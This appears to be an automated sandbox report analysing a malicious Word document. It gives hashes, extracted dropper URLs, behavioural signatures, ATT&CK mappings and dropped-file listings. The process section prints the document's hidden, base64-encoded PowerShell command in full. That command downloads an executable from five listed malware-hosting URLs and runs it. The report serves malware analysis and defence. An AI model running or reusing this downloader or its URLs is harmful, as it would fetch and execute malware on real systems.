77b36ea5d14f287d8ac426a002b3f6eeb4d337b65221fc6037840e087b4ce093

General

Target

77b36ea5d14f287d8ac426a002b3f6eeb4d337b65221fc6037840e087b4ce093.doc
Size

181KB
MD5

24730dd65a58c9581ca842fda4bf1a0f
SHA1

1f5551d5364acf93210e607e2c27b7173f75b09a
SHA256

77b36ea5d14f287d8ac426a002b3f6eeb4d337b65221fc6037840e087b4ce093
SHA512

b428dd175a0a9943f01ff3949234f1c7d0429610c530c93163ade70439df4d9ce8ff0c8f328ff61bba7a5064615dc26432fda1247055113bc8910d97957cc948
SSDEEP

3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7f:9NO2k4PF7tGiL3HJk9rD7bdasiv86r

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1996	3412	Powershell.exe	83

Blocklisted process makes network request 4 IoCs

flow	pid	Process
27	1996	Powershell.exe
91	1996	Powershell.exe
94	1996	Powershell.exe
95	1996	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1996	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4068	WINWORD.EXE
4068	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1996	Powershell.exe
1996	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1996	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4068	WINWORD.EXE
4068	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4068	WINWORD.EXE
4068	WINWORD.EXE
4068	WINWORD.EXE
4068	WINWORD.EXE
4068	WINWORD.EXE
4068	WINWORD.EXE
4068	WINWORD.EXE
4068	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4068 wrote to memory of 4556	4068	WINWORD.EXE	84
PID 4068 wrote to memory of 4556	4068	WINWORD.EXE	84

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\77b36ea5d14f287d8ac426a002b3f6eeb4d337b65221fc6037840e087b4ce093.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4068
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:4556

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\28AC0C12.wmf

Filesize
444B

MD5
e32fb619259302eca50a7deb06511584

SHA1
d3ee63dc77151d54dd7a3b04436ac020db8f94c3

SHA256
c6612cd30ff2044700617f110d605363d3c97cfca6a243f40b90884983141a3d

SHA512
dff0f86b57112e1862259a3d93bbbaf340f83ada687c9b2313c83fd7f1e404b085a891f8f818440546e361f149a09fbf053a01997b12e12064bf921c3b87c212

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDCA33.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ip5beez4.xay.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
672B

MD5
ba792e790164f074cfdb9e420387af92

SHA1
0e53129c7f287da51fe7d76e778c6b104068d22c

SHA256
dd889ddf4a14c74f6f62e28f28398a52e5a029a5ea9774b5a8297bd3f9a1174b

SHA512
67f7553c885125089a87364f602dab967d7cab4d65aa2f7bb1d9a0a6370af26bfb451dc04a4d0c514fa983c7c3027fdde1724a331a63eaeed5978190c87fdb93

Download Submit
memory/1996-45-0x00000215E0540000-0x00000215E0562000-memory.dmp

Filesize
136KB

Download
memory/4068-4-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4068-3-0x00007FFE36410000-0x00007FFE36420000-memory.dmp

Filesize
64KB

Download
memory/4068-6-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4068-8-0x00007FFE36410000-0x00007FFE36420000-memory.dmp

Filesize
64KB

Download
memory/4068-9-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4068-10-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4068-11-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4068-12-0x00007FFE33AB0000-0x00007FFE33AC0000-memory.dmp

Filesize
64KB

Download
memory/4068-13-0x00007FFE33AB0000-0x00007FFE33AC0000-memory.dmp

Filesize
64KB

Download
memory/4068-7-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4068-5-0x00007FFE36410000-0x00007FFE36420000-memory.dmp

Filesize
64KB

Download
memory/4068-0-0x00007FFE7642D000-0x00007FFE7642E000-memory.dmp

Filesize
4KB

Download
memory/4068-65-0x00007FFE7642D000-0x00007FFE7642E000-memory.dmp

Filesize
4KB

Download
memory/4068-66-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4068-67-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4068-68-0x00007FFE76390000-0x00007FFE76585000-memory.dmp

Filesize
2.0MB

Download
memory/4068-1-0x00007FFE36410000-0x00007FFE36420000-memory.dmp

Filesize
64KB

Download
memory/4068-2-0x00007FFE36410000-0x00007FFE36420000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads